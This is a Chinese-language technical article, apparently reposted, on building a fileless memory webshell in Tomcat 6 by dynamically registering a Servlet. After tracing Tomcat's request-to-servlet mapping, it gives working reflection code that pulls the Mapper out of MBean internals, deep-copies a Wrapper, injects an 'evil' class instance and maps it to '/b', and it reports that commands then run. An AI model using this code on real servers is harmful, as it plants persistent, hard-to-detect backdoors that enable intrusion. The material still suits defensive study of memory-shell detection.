Tomcat基於Servlet的無文件webshell的相關技術研究


前幾篇文章主要介紹了在tomcat,weblogic下如何通過動態注冊一個Filter的方式,去實現無文件落地的webshell。當然在J2EE中,我們也可以動態注冊一個Servlet去實現無文件落地的webshell。

以下分析基於tomcat6,其他版本的Tomcat的思路類似

0x00 servlet簡介

1. Servlet 是什么?

Java Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 Web 瀏覽器或其他 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。使用 Servlet,您可以收集來自網頁表單的用戶輸入,呈現來自數據庫或者其他源的記錄,還可以動態創建網頁。Java Servlet 通常情況下與使用 CGI(Common Gateway Interface,公共網關接口)實現的程序可以達到異曲同工的效果。但是相比於 CGI,Servlet 有以下幾點優勢:

  • 性能明顯更好。
  • Servlet 在 Web 服務器的地址空間內執行。這樣它就沒有必要再創建一個單獨的進程來處理每個客戶端請求。
  • Servlet 是獨立於平台的,因為它們是用 Java 編寫的。* 服務器上的 Java 安全管理器執行了一系列限制,以保護服務器計算機上的資源。因此,Servlet 是可信的。
  • Java 類庫的全部功能對 Servlet 來說都是可用的。它可以通過 sockets 和 RMI 機制與 applets、數據庫或其他軟件進行交互。

2. Servlet 架構

下圖顯示了 Servlet 在 Web 應用程序中的位置。

0x01 Tomcat響應servlet的流程

在org.apache.catalina.core.StandardContextValve#invoke中,簡化后的代碼如下

            	Wrapper wrapper = request.getWrapper();

                Object[] instances = this.context.getApplicationEventListeners();
                ServletRequestEvent event = null;
                int i;
                ServletRequestListener listener;
                HttpServletRequest sreq;
                if (instances != null && instances.length > 0) {
                    event = new ServletRequestEvent(((StandardContext)this.container).getServletContext(), request.getRequest());

                    for(i = 0; i < instances.length; ++i) {
                        if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
                            listener = (ServletRequestListener)instances[i];

                            try {
                                listener.requestInitialized(event);
                            } catch (Throwable var13) {
                                this.container.getLogger().error(sm.getString("standardContext.requestListener.requestInit", instances[i].getClass().getName()), var13);
                                sreq = request.getRequest();
                                sreq.setAttribute("javax.servlet.error.exception", var13);
                                return;
                            }
                        }
                    }
                }

                wrapper.getPipeline().getFirst().invoke(request, response);

在tomcat處理每次請求中,該方法是最重要的一個環節。在該方法中負責處理Listener請求,創建FilerChain以及找到對應的Servlet。
wrapper.getPipeline().getFirst().invoke(request, response);就是調用url請求對應的servlet。下面我們的任務就是找到tomcat如何設置wrapper對象,以及如何通過url去查找相對應的servlet類。

我們從tomcat請求一個url開始分析

如果對tomcat高度抽象化,我們可以得出如下結論。tomcat是由Connector與container構成。Connector主要負責Tomcat如何接受網絡請求,Container則負責裝載webapp。在這其中Adapter是Connector與Container的橋梁,負責兩者之間信息的傳遞。
目前為止,Tomcat 只有一個 Adapter 實現類,就是 CoyoteAdapter。Adapter 的主要作用是將 Request 對象適配成容器能夠識別的 Request 對象,比如 Servlet 容器,它的只能識別 ServletRequest 對象,這時候就需要 Adapter 適配器類作一層適配。

org.apache.catalina.connector.CoyoteAdapter#service方法中,包裝request與response對象。並且根據url中webapp的名稱,調用響應的container。簡化后的代碼如下

    public void service(Request req, Response res) throws Exception {
        org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
        org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)res.getNote(1);

        if (this.connector.getXpoweredBy()) {
            response.addHeader("X-Powered-By", POWERED_BY);
        }

        req.getRequestProcessor().setWorkerThreadName(Thread.currentThread().getName());
        if (this.postParseRequest(req, request, res, response)) {
            this.connector.getContainer().getPipeline().getFirst().invoke(request, response);
        }

org.apache.catalina.connector.CoyoteAdapter#postParseRequest負責處理request請求,從request中獲取相關信息冰傳遞給tomcat。下面主要分析一下org.apache.catalina.connector.CoyoteAdapter#postParseRequest 該方法可以認為從請求中讀取http請求等,關於請求url到servlet的代碼如下

                this.connector.getMapper().map(serverName, decodedURI, request.getMappingData());
                request.setContext((Context)request.getMappingData().context);
                if (request.getContext() == null) {
                    res.setStatus(404);
                    res.setMessage("Not found");
                    this.connector.getService().getContainer().logAccess(request, response, 0L, true);
                    return false;
                } else {
                    request.setWrapper((Wrapper)request.getMappingData().wrapper);
                    if (!this.connector.getAllowTrace() && req.method().equalsIgnoreCase("TRACE")) {
                        Wrapper wrapper = request.getWrapper();

request.getMappingData()中負責存儲本次請求url與servlet的請求。而this.connector.getMapper().map中負責查找url與servlet的對應關系,並存儲到request.getMappingData()中。下面我們主要分析一下this.connector.getMapper().map方法,當然該方法最終調用的是org.apache.tomcat.util.http.mapper.Mapper#internalMap方法,代碼如下

org.apache.tomcat.util.http.mapper.Mapper#internalMap
private final void internalMap(CharChunk host, CharChunk uri, MappingData mappingData) throws Exception {
        if (mappingData.host != null) {
            throw new AssertionError();
        } else {
      //... 省略無關代碼
                if (!found) {
                    if (contexts[0].name.equals("")) {
                        context = contexts[0];
                    }
                } else {
                    context = contexts[pos];
                }

                if (context != null) {
                    mappingData.context = context.object;
                    mappingData.contextPath.setString(context.name);
                }

                if (context != null) {
                    this.internalMapWrapper(context, uri, mappingData);
                }

            }
        }
    }

上面代碼的作用是,從Mapper中根據webapp的名稱,查找到相關的Map.context。而Map.context中,存儲着每個webapp中url與servlet的對應關系。在方法的最后,調用this.internalMapWrapper去查找相對應的Wrapper,並存放在request中,作為本次請求中待調用的servlet。

internalMapWrapper中,將會根據請求類型,去查找響應的Wrapper。總的來說有兩大類,servlet與jsp。主要請求區別如下

  1. servlet 的wrapper中,ServletClass為用戶的類。並且webapp中所有的exactWrapper都存放在Mapper的exactWrappers中
  2. jsp也是一類特殊的servlet,在服務器上會編譯為servlet。所以jsp的wrapper只有兩個,存放在Mapper的extensionWrapper中,一個為處理jsp的Wrapper,另外一個處理jspx

internalMapWrapper的代碼如圖所示

現在找到tomcat如何設置wrapper以及請求流程,下面來實現基於servlet的無文件webshell。

0x02 代碼實現

實現servlet主要有以下幾個技術難點

1. 尋找Mapper對象

根據我們的分析結論,Mapper是實現servlet的重點。mapper中的hosts字段,對應不同的webapp,在你需要的那個webapp添加servlet。在tomcat中,尋找Mapper對象的方法主要有以下兩種

1.1 全局context中

注意,這里是全局context,而不是webapp的context。context中獲取Mapper的方法如下圖

注意 我這里為了截圖,直接從pageContext中截圖,但是實際是不可以的,一定是全局context

1.2 MBean中

這種就比較簡單,在tomcat的MBean中,存儲全局Mapper對象。我們可以從MBean中獲取Mapper,然后添加我們自己的url與servlet的映射關系即可。代碼如下。注意,在服務器上運行,能反射就反射,因為肯定沒有相關的package。

        Method getRegistryM = Class.forName("org.apache.tomcat.util.modeler.Registry").getMethod("getRegistry", Object.class, Object.class);
        Object RegistryO = getRegistryM.invoke(null, null, null);

        Method getMBeanServerM = RegistryO.getClass().getMethod("getMBeanServer");
        Object mbeanServer = getMBeanServerM.invoke(RegistryO);
        Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
        field.setAccessible(true);
        Object obj = field.get(mbeanServer);

        field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
        field.setAccessible(true);
        obj = field.get(obj);

        field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
        field.setAccessible(true);
        HashMap obj2 = (HashMap) field.get(obj);
        obj = ((HashMap) obj2.get("Catalina")).get("port=8080,type=Mapper");

        field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
        field.setAccessible(true);
        obj = field.get(obj);

        field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
        field.setAccessible(true);

        Object Mapper = field.get(obj);

2. 向Mapper中添加wrapper

幸運的是,Mapper中有相關方法,可以直接添加一個wrapper。其中第一個參數為url,第二個為url請求相對應的wrapper

org.apache.tomcat.util.http.mapper.Mapper#addWrapper(org.apache.tomcat.util.http.mapper.Mapper.Context, java.lang.String, java.lang.Object)
protected void addWrapper(Mapper.Context context, String path, Object wrapper) {
    this.addWrapper(context, path, wrapper, false);
}

通過反射調用的代碼如下

Method addWrapperF = Mapper.getClass().getDeclaredMethod("addWrapper", 
context.getClass(), String.class, Object.class);addWrapperF.setAccessible(true);
addWrapperF.invoke(Mapper, context, "/b", wrapperTest);

3. 如何生成一個Wrapper對象

在這里直接實例化Wrapper是不可以用的。所以我們需要想辦法創建一個屬於我們自己的wrapper對象。但是wrapper對象中參數過於復雜,為了不影響其他servlet的請求過程,深拷貝一個先有的wrapper對象,並修改響應ServletName是最簡單的辦法。但是wrapper對象沒有實現clone方法。所以在這里我自己通過遞歸寫了一個深拷貝對象的方法,代碼如下

    public Object CopyObject(Object src, Object dst, Class srcClass) throws Exception {
        // 只考慮本項目中使用,恰好src對象只能通過無參構造函數去實例化
        if (dst == null) {
            dst = src.getClass().newInstance();
        }
        if (srcClass.getName().equals("java.lang.Object")) {
            return dst;
        }

        Field[] fields = srcClass.getDeclaredFields();
        for (Field f : fields) {
            if (java.lang.reflect.Modifier.isStatic(f.getModifiers())) {
                // 如果是靜態的變量,在這里不復制,直接跳過
                continue;
            }
            if (java.lang.reflect.Modifier.isFinal(f.getModifiers())) {
                // 如果是final的變量,在這里不復制,直接跳過
                continue;
            }
            // 如果該字段不為public,則設置為public訪問
            if (!f.isAccessible()) {
                f.setAccessible(true);
            }

            f.set(dst, f.get(src));
        }
        return CopyObject(src, dst, srcClass.getSuperclass());
    }

拷貝對象后,我們再修改相關參數即可。

        Object wrapperTest = CopyObject(wrapperObject, null, wrapperObject.getClass());
        Method addMappingM = wrapperTest.getClass().getDeclaredMethod("addMapping", String.class);
        addMappingM.invoke(wrapperTest, "/b");

4. Wrapper中servlet加載機制

在tomcat隨后的請求中,會通過調用org.apache.catalina.core.StandardWrapperValve#invoke,獲取Wrapper中對應的servlet。並調用,代碼如下

    public final void invoke(Request request, Response response) throws IOException, ServletException {
        boolean unavailable = false;
        Throwable throwable = null;
        long t1 = System.currentTimeMillis();
        ++this.requestCount;
        StandardWrapper wrapper = (StandardWrapper)this.getContainer();
        Servlet servlet = null;
        Context context = (Context)wrapper.getParent();

        try {
            if (!unavailable) {
                servlet = wrapper.allocate();
            }

下面我們主要分析一下wrapper.allocate()的代碼

    public Servlet allocate() throws ServletException {
            if (!this.singleThreadModel) {
                if (this.instance == null) {
                    synchronized(this) {
                        if (this.instance == null) 
                                this.instance = this.loadServlet();
                        }
                    }
                }


    public synchronized Servlet loadServlet() throws ServletException {
    
                actualClass = jspWrapper.getServletClass();
                ClassLoader classLoader = loader.getClassLoader();
                Class classClass = null;
		if (classLoader != null) {
                        classClass = classLoader.loadClass(actualClass);
                    } else {
                        classClass = Class.forName(actualClass);
                    }

如果不存在instance,則通過loadServlet去查找對應的class並實例化。所以,我們直接修改wrapper的instance字段為實例化后的servlet即可。

        Field instanceF = wrapperTest.getClass().getDeclaredField("instance");
        instanceF.setAccessible(true);
        instanceF.set(wrapperTest, evilFilterClass.newInstance());

以上問題全部解決后,調用addWrapper添加即可完成

addWrapperF.invoke(Mapper, context, "/b", wrapperTest);

0x03 成果檢驗


訪問b 提示404

執行成功后,可以正常執行命令


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM